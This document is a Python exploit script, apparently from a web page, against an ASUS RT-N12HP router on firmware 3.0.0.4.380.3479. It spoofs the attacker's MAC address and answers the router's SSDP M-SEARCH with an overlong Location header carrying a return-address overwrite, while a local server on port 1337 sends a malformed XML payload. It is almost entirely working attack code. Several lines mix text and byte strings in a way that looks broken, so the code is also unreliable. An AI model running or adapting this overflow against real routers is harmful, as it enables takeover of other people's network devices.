# Tested product and firmware version:
	# RT-N12HP_B1 (3.0.0.4.380.3479)
	
	# coding=utf-8
	
	ROUTER_IP = '192.168.2.1'	    #asus wireless router ip
	IP = '192.168.2.31'		        #attacker ip
	INTERACE = 'eth0'			    #attacker host network interface
	
	import time
	import socket
	import sys
	import os
	import threading
	import socketserver
	
	sc = '<?xml>'
	sc += '<serviceType>'
	sc += b'AAAA' * 49
	sc += 'AA<></root>'
	
	def mac():
	    os.system('macchanger -A {}'.format(INTERACE))
	
	os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP))
	
	class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):
	
	    def handle(self):
	        print('[-] got xml request')
	        self.request.recv(1024)
	        print("[-] sending xml")
	        self.request.send(sc)
	
	class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
	    pass
	
	socketserver.TCPServer.allow_reuse_address = True
	server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
	t = threading.Thread(target=server.serve_forever)
	t.start()
	
	print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction")
	
	addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
	s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
	s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	s.bind(('239.255.255.250', 1900))
	s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0'))
	
	mac()
	times = 0
	state = 'Overflow'
	
	while True:
	    data, sender = s.recvfrom(1500)
	    if sender[0] == ROUTER_IP and sender[1] == 1008:
	        print("[-] received SSDP M-SEARCH Package")
	
	        data = {}
	        data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/' + 'B'*231 + b'\xe0\xbb\x41:' + '\r\n\r\n'
	
	        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
	        sock.sendto(data[state], sender)
	
	        if state == 'Overflow':
	            print("[-] Send the GetXmlRequest to router")
	            time.sleep(20)
	            os._exit(0)
                       
                       
        
          
暂无评论